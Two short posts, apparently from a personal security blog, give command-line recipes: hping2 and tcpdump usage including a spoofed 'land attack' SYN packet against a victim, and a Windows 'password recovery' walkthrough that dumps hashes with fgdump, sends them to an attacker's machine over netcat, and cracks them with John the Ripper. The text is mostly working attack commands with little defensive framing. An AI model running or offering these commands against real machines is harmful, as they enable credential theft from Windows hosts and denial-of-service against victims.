hping2 and tcpdump

Common use cases:

1) configuring tcpdump to display all packets with your machine's IP address and the IP address of the target machine, in either direction

# tcpdump -nn host <my_machine_ip> and host <target_machine_ip>

2) Pinging with choosen payload

$ hping2 --icmp --data 40 --file <file_with_payload> <dest_addr>

# tcpdump -nnX icmp    # shows us only icmp traffic in hex and ASCII formats without any names

3) Lunching "land attack"*

$ hping2 --count 1 --baseport 80 --destport 80 --syn --spoof <victim_addr> <victim_addr>

# tcpdump -nn tcp and host <victim_addr>

* land attack is an attack in which SYN packet with src IP addr equal to dest IP addr and src port equal to dst port is sent to the victim

Basics of Windows password recovery

In this post I outline basics steps for successful Windows password recovery.
Tools used: fgdump, john the ripper

On target machine as Administrator:

C:\> fgdump.exe -c        # dumps passwords from local windows box to 127.0.0.1.pwdump file

we use netcat to send dumped hashes to attacker's machine, attacker's machine:

$ nc -l -p 2222 > sam.txt

target machine:

C:\> nc <attackers_ip> 2222 < 127.0.0.1.pwdump

On attacker's machine:

$ ./john --session=recovery1 127.0.0.1.pwdump

We can stop guessing session with ^C and restore it with:

$ ./john --session=recovery1

Spacebar shows us speed of recovery. Recoverd passwords are in john.pot file, to save them in a file:

$ john --show 127.0.0.1.pwdump > 127.0.0.1.cracked.txt

It's basic use scenario of recovering passwords. There's more about john (modes of operation, distributing computation among several machines, optimizing key space). More on it in future.